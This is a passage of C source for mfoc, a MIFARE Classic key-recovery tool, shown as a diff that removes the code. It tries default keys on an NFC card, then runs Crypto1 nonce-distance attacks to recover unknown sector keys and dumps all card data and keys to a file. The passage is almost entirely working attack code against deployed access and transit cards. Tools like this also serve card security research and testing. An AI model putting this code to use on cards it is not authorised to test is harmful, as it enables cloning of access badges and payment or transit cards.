%d\n", probes); - break; - case 'T': { - int res; - // Nonce tolerance range - if (((res = atoi(optarg)) < 0)) { - ERR("The nonce distances range must be a zero or a positive number"); - exit(EXIT_FAILURE); - } - d.tolerance = (uint32_t)res; - // fprintf(stdout, "Tolerance number: %d\n", probes); - } - break; - case 'f': - if (!(fp = fopen(optarg, "r"))) { - fprintf(stderr, "Cannot open keyfile: %s, exiting\n", optarg); - exit(EXIT_FAILURE); - } - while ((read = getline(&line, &len, fp)) != -1) { - int i, j = 0, str_len = strlen(line); - - while (j < str_len && - (i = slre_match(regex, line + j, str_len - j, caps, 500, 1)) > 0) { - //We've found a key, let's add it to the structure. - p = realloc(defKeys, defKeys_len + 6); - if (!p) { - ERR("Cannot allocate memory for defKeys"); - exit(EXIT_FAILURE); - } - defKeys = p; - memset(defKeys + defKeys_len, 0, 6); - num_to_bytes(strtoll(caps[0].ptr, NULL, 16), 6, defKeys + defKeys_len); - fprintf(stdout, "The custom key 0x%.*s has been added to the default keys\n", caps[0].len, caps[0].ptr); - defKeys_len = defKeys_len + 6; - - j += i; - } - } - if (line) - free(line); - break; - case 'k': - // Add this key to the default keys - p = realloc(defKeys, defKeys_len + 6); - if (!p) { - ERR("Cannot allocate memory for defKeys"); - exit(EXIT_FAILURE); - } - defKeys = p; - memset(defKeys + defKeys_len, 0, 6); - num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys + defKeys_len); - fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys + defKeys_len, 6)); - defKeys_len = defKeys_len + 6; - - break; - case 'O': - // File output - if (!(pfDump = fopen(optarg, "wb"))) { - fprintf(stderr, "Cannot open: %s, exiting\n", optarg); - exit(EXIT_FAILURE); - } - // fprintf(stdout, "Output file: %s\n", optarg); - break; - case 'h': - usage(stdout, 0); - break; - default: - usage(stderr, 1); - break; - } - } - - if (!pfDump) { - ERR("parameter -O is mandatory"); - exit(EXIT_FAILURE); - } - - // Initialize reader/tag structures - mf_init(&r); - - if (nfc_initiator_init(r.pdi) < 0) { - nfc_perror(r.pdi, "nfc_initiator_init"); - goto error; - } - // Drop the field for a while, so can be reset - if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, true) < 0) { - nfc_perror(r.pdi, "nfc_device_set_property_bool activate field"); - goto error; - } - // Let the reader only try once to find a tag - if (nfc_device_set_property_bool(r.pdi, NP_INFINITE_SELECT, false) < 0) { - nfc_perror(r.pdi, "nfc_device_set_property_bool infinite select"); - goto error; - } - // Configure the CRC and Parity settings - if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) { - nfc_perror(r.pdi, "nfc_device_set_property_bool crc"); - goto error; - } - if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) { - nfc_perror(r.pdi, "nfc_device_set_property_bool parity"); - goto error; - } - - /* - // wait for tag to appear - for (i=0;!nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) && i < 10; i++) zsleep (100); - */ - - int tag_count; - if ((tag_count = nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt)) < 0) { - nfc_perror(r.pdi, "nfc_initiator_select_passive_target"); - goto error; - } else if (tag_count == 0) { - ERR("No tag found."); - goto error; - } - - // Test if a compatible MIFARE tag is used - if ((t.nt.nti.nai.btSak & 0x08) == 0) { - ERR("only Mifare Classic is supported"); - goto error; - } - - t.authuid = (uint32_t) bytes_to_num(t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, 4); - - // Get Mifare Classic type from SAK - // see http://www.nxp.com/documents/application_note/AN10833.pdf Section 3.2 - switch (t.nt.nti.nai.btSak) - { - case 0x08: - case 0x88: - printf("Found Mifare Classic 1k tag\n"); - t.num_sectors = NR_TRAILERS_1k; - t.num_blocks = NR_BLOCKS_1k; - break; - case 0x09: - printf("Found Mifare Classic Mini tag\n"); - t.num_sectors = NR_TRAILERS_MINI; - t.num_blocks = NR_BLOCKS_MINI; - break; - case 0x18: - printf("Found Mifare Classic 4k tag\n"); - t.num_sectors = NR_TRAILERS_4k; - t.num_blocks = NR_BLOCKS_4k; - break; - default: - ERR("Cannot determine card type from SAK"); - goto error; - } - - t.sectors = (void *) calloc(t.num_sectors, sizeof(sector)); - if (t.sectors == NULL) { - ERR("Cannot allocate memory for t.sectors"); - goto error; - } - if ((pk = (void *) malloc(sizeof(pKeys))) == NULL) { - ERR("Cannot allocate memory for pk"); - goto error; - } - if ((bk = (void *) malloc(sizeof(bKeys))) == NULL) { - ERR("Cannot allocate memory for bk"); - goto error; - } else { - bk->brokenKeys = NULL; - bk->size = 0; - } - - d.distances = (void *) calloc(d.num_distances, sizeof(uint32_t)); - if (d.distances == NULL) { - ERR("Cannot allocate memory for t.distances"); - goto error; - } - - // Initialize t.sectors, keys are not known yet - for (uint8_t s = 0; s < (t.num_sectors); ++s) { - t.sectors[s].foundKeyA = t.sectors[s].foundKeyB = false; - } - - print_nfc_target(&t.nt, true); - - fprintf(stdout, "\nTry to authenticate to all sectors with default keys...\n"); - fprintf(stdout, "Symbols: '.' no key found, '/' A key found, '\\' B key found, 'x' both keys found\n"); - // Set the authentication information (uid) - memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); - // Iterate over all keys (n = number of keys) - n = sizeof(defaultKeys) / sizeof(defaultKeys[0]); - size_t defKey_bytes_todo = defKeys_len; - key = 0; - while (key < n || defKey_bytes_todo) { - if (defKey_bytes_todo > 0) { - memcpy(mp.mpa.abtKey, defKeys + defKeys_len - defKey_bytes_todo, sizeof(mp.mpa.abtKey)); - defKey_bytes_todo -= sizeof(mp.mpa.abtKey); - } else { - memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey)); - key++; - } - fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6)); - fprintf(stdout, "["); - i = 0; // Sector counter - // Iterate over every block, where we haven't found a key yet - for (block = 0; block <= t.num_blocks; ++block) { - if (trailer_block(block)) { - if (!t.sectors[i].foundKeyA) { - mc = MC_AUTH_A; - int res; - if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) < 0) { - if (res != NFC_EMFCAUTHFAIL) { - nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); - goto error; - } - mf_anticollision(t, r); - } else { - // Save all information about successfull keyA authentization - memcpy(t.sectors[i].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); - t.sectors[i].foundKeyA = true; - // Although KeyA can never be directly read from the data sector, KeyB can, so - // if we need KeyB for this sector, it should be revealed by a data read with KeyA - // todo - check for duplicates in cracked key list (do we care? will not be huge overhead) - // todo - make code more modular! :) - if (!t.sectors[i].foundKeyB) { - if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mtmp)) >= 0) { - // print only for debugging as it messes up output! - //fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); - memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); - memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); - if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mtmp)) < 0) { - //fprintf(stdout, "Failed!\n"); - mf_configure(r.pdi); - mf_anticollision(t, r); - } else { - //fprintf(stdout, "OK\n"); - memcpy(t.sectors[i].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[i].KeyB)); - t.sectors[i].foundKeyB = true; - bk->size++; - bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); - bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey)); - } - } else { - if (res != NFC_ERFTRANS) { - nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); - goto error; - } - mf_anticollision(t, r); - } - } - } - } - // if key reveal failed, try other keys - if (!t.sectors[i].foundKeyB) { - mc = MC_AUTH_B; - int res; - if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) < 0) { - if (res != NFC_EMFCAUTHFAIL) { - nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); - goto error; - } - mf_anticollision(t, r); - // No success, try next block - t.sectors[i].trailer = block; - } else { - memcpy(t.sectors[i].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); - t.sectors[i].foundKeyB = true; - } - } - if ((t.sectors[i].foundKeyA) && (t.sectors[i].foundKeyB)) { - fprintf(stdout, "x"); - } else if (t.sectors[i].foundKeyA) { - fprintf(stdout, "/"); - } else if (t.sectors[i].foundKeyB) { - fprintf(stdout, "\\"); - } else { - fprintf(stdout, "."); - } - fflush(stdout); - // Save position of a trailer block to sector struct - t.sectors[i++].trailer = block; - } - } - fprintf(stdout, "]\n"); - } - - fprintf(stdout, "\n"); - for (i = 0; i < (t.num_sectors); ++i) { - if(t.sectors[i].foundKeyA){ - fprintf(stdout, "Sector %02d - Found Key A: %012llx ", i, bytes_to_num(t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA))); - memcpy(&knownKey, t.sectors[i].KeyA, 6); - knownKeyLetter = 'A'; - knownSector = i; - } - else{ - fprintf(stdout, "Sector %02d - Unknown Key A ", i); - unknownSector = i; - unknownKeyLetter = 'A'; - } - if(t.sectors[i].foundKeyB){ - fprintf(stdout, "Found Key B: %012llx\n", bytes_to_num(t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB))); - knownKeyLetter = 'B'; - memcpy(&knownKey, t.sectors[i].KeyB, 6); - knownSector = i; - } - else{ - fprintf(stdout, "Unknown Key B\n"); - unknownSector = i; - unknownKeyLetter = 'B'; - } - } - fflush(stdout); - - // Return the first (exploit) sector encrypted with the default key or -1 (we have all keys) - e_sector = find_exploit_sector(t); - //mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode - - // Recover key from encrypted sectors, j is a sector counter - for (m = 0; m < 2; ++m) { - if (e_sector == -1) break; // All keys are default, I am skipping recovery mode - for (j = 0; j < (t.num_sectors); ++j) { - memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); - if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { - - // First, try already broken keys - skip = false; - for (uint32_t o = 0; o < bk->size; o++) { - num_to_bytes(bk->brokenKeys[o], 6, mp.mpa.abtKey); - mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; - int res; - if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) { - if (res != NFC_EMFCAUTHFAIL) { - nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); - goto error; - } - mf_anticollision(t, r); - } else { - // Save all information about successfull authentization - printf("Sector: %d, type %c\n", j, (dumpKeysA ? 'A' : 'B')); - if (dumpKeysA) { - memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); - t.sectors[j].foundKeyA = true; - // if we need KeyB for this sector it should be revealed by a data read with KeyA - if (!t.sectors[j].foundKeyB) { - if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) { - fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); - memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); - memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); - if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) { - fprintf(stdout, "Failed!\n"); - mf_configure(r.pdi); - mf_anticollision(t, r); - } else { - fprintf(stdout, "OK\n"); - memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB)); - t.sectors[j].foundKeyB = true; - bk->size++; - bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); - bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey)); - } - } else { - if (res != NFC_ERFTRANS) { - nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); - goto error; - } - mf_anticollision(t, r); - } - } - } else { - memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); - t.sectors[j].foundKeyB = true; - } - fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), - bytes_to_num(mp.mpa.abtKey, 6)); - mf_configure(r.pdi); - mf_anticollision(t, r); - skip = true; - break; - } - } - if (skip) continue; // We have already revealed key, go to the next iteration - - // Max probes for auth for each sector - for (k = 0; k < probes; ++k) { - // Try to authenticate to exploit sector and determine distances (filling denonce.distances) - int authRezult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode - if(authRezult == -99999){ - //for now we return the last sector that is unknown - nfc_close(r.pdi); - nfc_exit(context); - FILE *fpKey; - fpKey = fopen("/tmp/unknownMfocSectorInfo_123456asdfqwer.txt", "w"); - fprintf(fpKey, "%012llx;%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter); - fclose(fpKey); - - return 9; - } - - printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median); - // Configure device to the previous state - mf_configure(r.pdi); - mf_anticollision(t, r); - - pk->possibleKeys = NULL; - pk->size = 0; - // We have 'sets' * 32b keystream of potential keys - for (n = 0; n < sets; n++) { - // AUTH + Recovery key mode (for a_sector), repeat 5 times - mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA); - mf_configure(r.pdi); - mf_anticollision(t, r); - fprintf(stdout, "."); - fflush(stdout); - } - fprintf(stdout, "\n"); - // Get first 15 grouped keys - ck = uniqsort(pk->possibleKeys, pk->size); - for (i = 0; i < TRY_KEYS ; i++) { - // We don't known this key, try to break it - // This key can be found here two or more times - if (ck[i].count > 0) { - // fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key); - // Set required authetication method - num_to_bytes(ck[i].key, 6, mp.mpa.abtKey); - mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; - int res; - if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) { - if (res != NFC_EMFCAUTHFAIL) { - nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); - goto error; - } - mf_anticollision(t, r); - } else { - // Save all information about successfull authentization - bk->size++; - bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); - bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); - if (dumpKeysA) { - memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); - t.sectors[j].foundKeyA = true; - - } else { - memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); - t.sectors[j].foundKeyB = true; - } - fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), - bytes_to_num(mp.mpa.abtKey, 6)); - // if we need KeyB for this sector, it should be revealed by a data read with KeyA - if (!t.sectors[j].foundKeyB) { - if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) { - fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); - memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); - memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); - if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) { - fprintf(stdout, "Failed!\n"); - mf_configure(r.pdi); - mf_anticollision(t, r); - } else { - fprintf(stdout, "OK\n"); - memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB)); - t.sectors[j].foundKeyB = true; - bk->size++; - bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); - bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey)); - } - } else { - if (res != NFC_ERFTRANS) { - nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); - goto error; - } - mf_anticollision(t, r); - } - } - mf_configure(r.pdi); - mf_anticollision(t, r); - break; - } - } - } - free(pk->possibleKeys); - free(ck); - // Success, try the next sector - if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break; - } - // We haven't found any key, exiting - if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { - ERR("No success, maybe you should increase the probes"); - goto error; - } - } - } - dumpKeysA = false; - } - - - for (i = 0; i < (t.num_sectors); ++i) { - if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB)) { - fprintf(stdout, "\nTry again, there are still some encrypted blocks\n"); - succeed = 0; - break; - } - } - - if (succeed) { - i = t.num_sectors; // Sector counter - fprintf(stdout, "Auth with all sectors succeeded, dumping keys to a file!\n"); - // Read all blocks - for (block = t.num_blocks; block >= 0; block--) { - trailer_block(block) ? i-- : i; - failure = true; - - // Try A key, auth() + read() - memcpy(mp.mpa.abtKey, t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA)); - int res; - if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_A, block, &mp)) < 0) { - if (res != NFC_EMFCAUTHFAIL) { - nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); - goto error; - } - mf_configure(r.pdi); - mf_anticollision(t, r); - } else { // and Read - if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) >= 0) { - fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'A', bytes_to_num(t.sectors[i].KeyA, 6)); - print_hex(mp.mpd.abtData, 16); - mf_configure(r.pdi); - mf_select_tag(r.pdi, &(t.nt)); - failure = false; - } else { - // Error, now try read() with B key - if (res != NFC_ERFTRANS) { - nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); - goto error; - } - mf_configure(r.pdi); - mf_anticollision(t, r); - memcpy(mp.mpa.abtKey, t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB)); - if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mp)) < 0) { - if (res != NFC_EMFCAUTHFAIL) { - nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); - goto error; - } - mf_configure(r.pdi); - mf_anticollision(t, r); - } else { // and Read - if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) >= 0) { - fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'B', bytes_to_num(t.sectors[i].KeyB, 6)); - print_hex(mp.mpd.abtData, 16); - mf_configure(r.pdi); - mf_select_tag(r.pdi, &(t.nt)); - failure = false; - } else { - if (res != NFC_ERFTRANS) { - nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); - goto error; - } - mf_configure(r.pdi); - mf_anticollision(t, r); - // ERR ("Error: Read B"); - } - } - } - } - if (trailer_block(block)) { - // Copy the keys over from our key dump and store the retrieved access bits - memcpy(mtDump.amb[block].mbt.abtKeyA, t.sectors[i].KeyA, 6); - memcpy(mtDump.amb[block].mbt.abtKeyB, t.sectors[i].KeyB, 6); - if (!failure) memcpy(mtDump.amb[block].mbt.abtAccessBits, mp.mpd.abtData + 6, 4); - } else if (!failure) memcpy(mtDump.amb[block].mbd.abtData, mp.mpd.abtData, 16); - memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); - } - - // Finally save all keys + data to file - uint16_t dump_size = (t.num_blocks + 1) * t.num_sectors; - if (fwrite(&mtDump, 1, dump_size, pfDump) != dump_size) { - fprintf(stdout, "Error, cannot write dump\n"); - fclose(pfDump); - goto error; - } - fclose(pfDump); - } - - free(t.sectors); - free(d.distances); - - // Reset the "advanced" configuration to normal - nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true); - nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true); - - // Disconnect device and exit - nfc_close(r.pdi); - nfc_exit(context); - exit(EXIT_SUCCESS); -error: - nfc_close(r.pdi); - nfc_exit(context); - exit(EXIT_FAILURE); -} - -void usage(FILE *stream, int errno) -{ - fprintf(stream, "Usage: mfoc [-h] [-k key] [-f file] ... [-P probnum] [-T tolerance] [-O output]\n"); - fprintf(stream, "\n"); - fprintf(stream, " h print this help and exit\n"); -// fprintf(stream, " B instead of 'A' dump 'B' keys\n"); - fprintf(stream, " k try the specified key in addition to the default keys\n"); - fprintf(stream, " f parses a file of keys to add in addition to the default keys \n"); -// fprintf(stream, " D number of distance probes, default is 20\n"); -// fprintf(stream, " S number of sets with keystreams, default is 5\n"); - fprintf(stream, " P number of probes per sector, instead of default of 20\n"); - fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n"); -// fprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n"); - fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n"); - fprintf(stream, "\n"); - fprintf(stream, "Example: mfoc -O mycard.mfd\n"); - fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n"); - fprintf(stream, "Example: mfoc -f keys.txt -O mycard.mfd\n"); - fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n"); - fprintf(stream, "\n"); - fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION); - fprintf(stream, "For more information, run: 'man mfoc'.\n"); - exit(errno); -} - -void mf_init(mfreader *r) -{ - // Connect to the first NFC device - nfc_init(&context); - if (context == NULL) { - ERR("Unable to init libnfc (malloc)"); - exit(EXIT_FAILURE); - } - r->pdi = nfc_open(context, NULL); - if (!r->pdi) { - printf("No NFC device found.\n"); - exit(EXIT_FAILURE); - } -} - -void mf_configure(nfc_device *pdi) -{ - if (nfc_initiator_init(pdi) < 0) { - nfc_perror(pdi, "nfc_initiator_init"); - exit(EXIT_FAILURE); - } - // Drop the field for a while, so can be reset - if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, false) < 0) { - nfc_perror(pdi, "nfc_device_set_property_bool activate field"); - exit(EXIT_FAILURE); - } - // Let the reader only try once to find a tag - if (nfc_device_set_property_bool(pdi, NP_INFINITE_SELECT, false) < 0) { - nfc_perror(pdi, "nfc_device_set_property_bool infinite select"); - exit(EXIT_FAILURE); - } - // Configure the CRC and Parity settings - if (nfc_device_set_property_bool(pdi, NP_HANDLE_CRC, true) < 0) { - nfc_perror(pdi, "nfc_device_set_property_bool crc"); - exit(EXIT_FAILURE); - } - if (nfc_device_set_property_bool(pdi, NP_HANDLE_PARITY, true) < 0) { - nfc_perror(pdi, "nfc_device_set_property_bool parity"); - exit(EXIT_FAILURE); - } - // Enable the field so more power consuming cards can power themselves up - if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, true) < 0) { - nfc_perror(pdi, "nfc_device_set_property_bool activate field"); - exit(EXIT_FAILURE); - } -} - -void mf_select_tag(nfc_device *pdi, nfc_target *pnt) -{ - // Poll for a ISO14443A (MIFARE) tag - const nfc_modulation nm = { - .nmt = NMT_ISO14443A, - .nbr = NBR_106, - }; - if (nfc_initiator_select_passive_target(pdi, nm, NULL, 0, pnt) < 0) { - ERR("Unable to connect to the MIFARE Classic tag"); - nfc_close(pdi); - nfc_exit(context); - exit(EXIT_FAILURE); - } -} - -int trailer_block(uint32_t block) -{ - // Test if we are in the small or big sectors - return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0); -} - -// Return position of sector if it is encrypted with the default key otherwise exit.. -int find_exploit_sector(mftag t) -{ - int i; - bool interesting = false; - - for (i = 0; i < t.num_sectors; i++) { - if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB) { - interesting = true; - break; - } - } - if (!interesting) { - fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n"); - return -1; - } - for (i = 0; i < t.num_sectors; i++) { - if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) { - fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i); - return i; - } - } - ERR("\n\nNo sector encrypted with the default key has been found, exiting.."); - exit(EXIT_FAILURE); -} - -void mf_anticollision(mftag t, mfreader r) -{ - const nfc_modulation nm = { - .nmt = NMT_ISO14443A, - .nbr = NBR_106, - }; - if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) < 0) { - nfc_perror(r.pdi, "nfc_initiator_select_passive_target"); - ERR("Tag has been removed"); - exit(EXIT_FAILURE); - } -} - -int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA) -{ - struct Crypto1State *pcs; - struct Crypto1State *revstate; - struct Crypto1State *revstate_start; - - uint64_t lfsr; - - // Possible key counter, just continue with a previous "session" - uint32_t kcount = pk->size; - - uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce - uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; - uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; - uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - - uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - - uint8_t Rx[MAX_FRAME_LEN]; // Tag response - uint8_t RxPar[MAX_FRAME_LEN]; // Tag response - - uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1; - - int i; - uint32_t m; - - // Prepare AUTH command - Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B; - iso14443a_crc_append(Auth, 2); - // fprintf(stdout, "\nAuth command:\t"); - // print_hex(Auth, 4); - - // We need full control over the CRC - if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, false) < 0) { - nfc_perror(r.pdi, "nfc_device_set_property_bool crc"); - exit(EXIT_FAILURE); - } - - // Request plain tag-nonce - // TODO: Set NP_EASY_FRAMING option only once if possible - if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) { - nfc_perror(r.pdi, "nfc_device_set_property_bool framing"); - exit(EXIT_FAILURE); - } - - if (nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, sizeof(Rx), 0) < 0) { - fprintf(stdout, "Error while requesting plain tag-nonce\n"); - exit(EXIT_FAILURE); - } - - if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, true) < 0) { - nfc_perror(r.pdi, "nfc_device_set_property_bool"); - exit(EXIT_FAILURE); - } - // print_hex(Rx, 4); - - // Save the tag nonce (Nt) - Nt = bytes_to_num(Rx, 4); - - // Init the cipher with key {0..47} bits - if (t.sectors[e_sector].foundKeyA) { - pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6)); - } else { - pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6)); - } - - // Load (plain) uid^nt into the cipher {48..79} bits - crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 0); - - // Generate (encrypted) nr+parity by loading it into the cipher - for (i = 0; i < 4; i++) { - // Load in, and encrypt the reader nonce (Nr) - ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; - ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]); - } - // Skip 32 bits in the pseudo random generator - Nt = prng_successor(Nt, 32); - // Generate reader-answer from tag-nonce - for (i = 4; i < 8; i++) { - // Get the next random byte - Nt = prng_successor(Nt, 8); - // Encrypt the reader-answer (Nt' = suc2(Nt)) - ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff); - ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt); - } - - // Finally we want to send arbitrary parity bits - if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false) < 0) { - nfc_perror(r.pdi, "nfc_device_set_property_bool parity"); - exit(EXIT_FAILURE); - } - - // Transmit reader-answer - // fprintf(stdout, "\t{Ar}:\t"); - // print_hex_par(ArEnc, 64, ArEncPar); - int res; - if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { - ERR("Reader-answer transfer error, 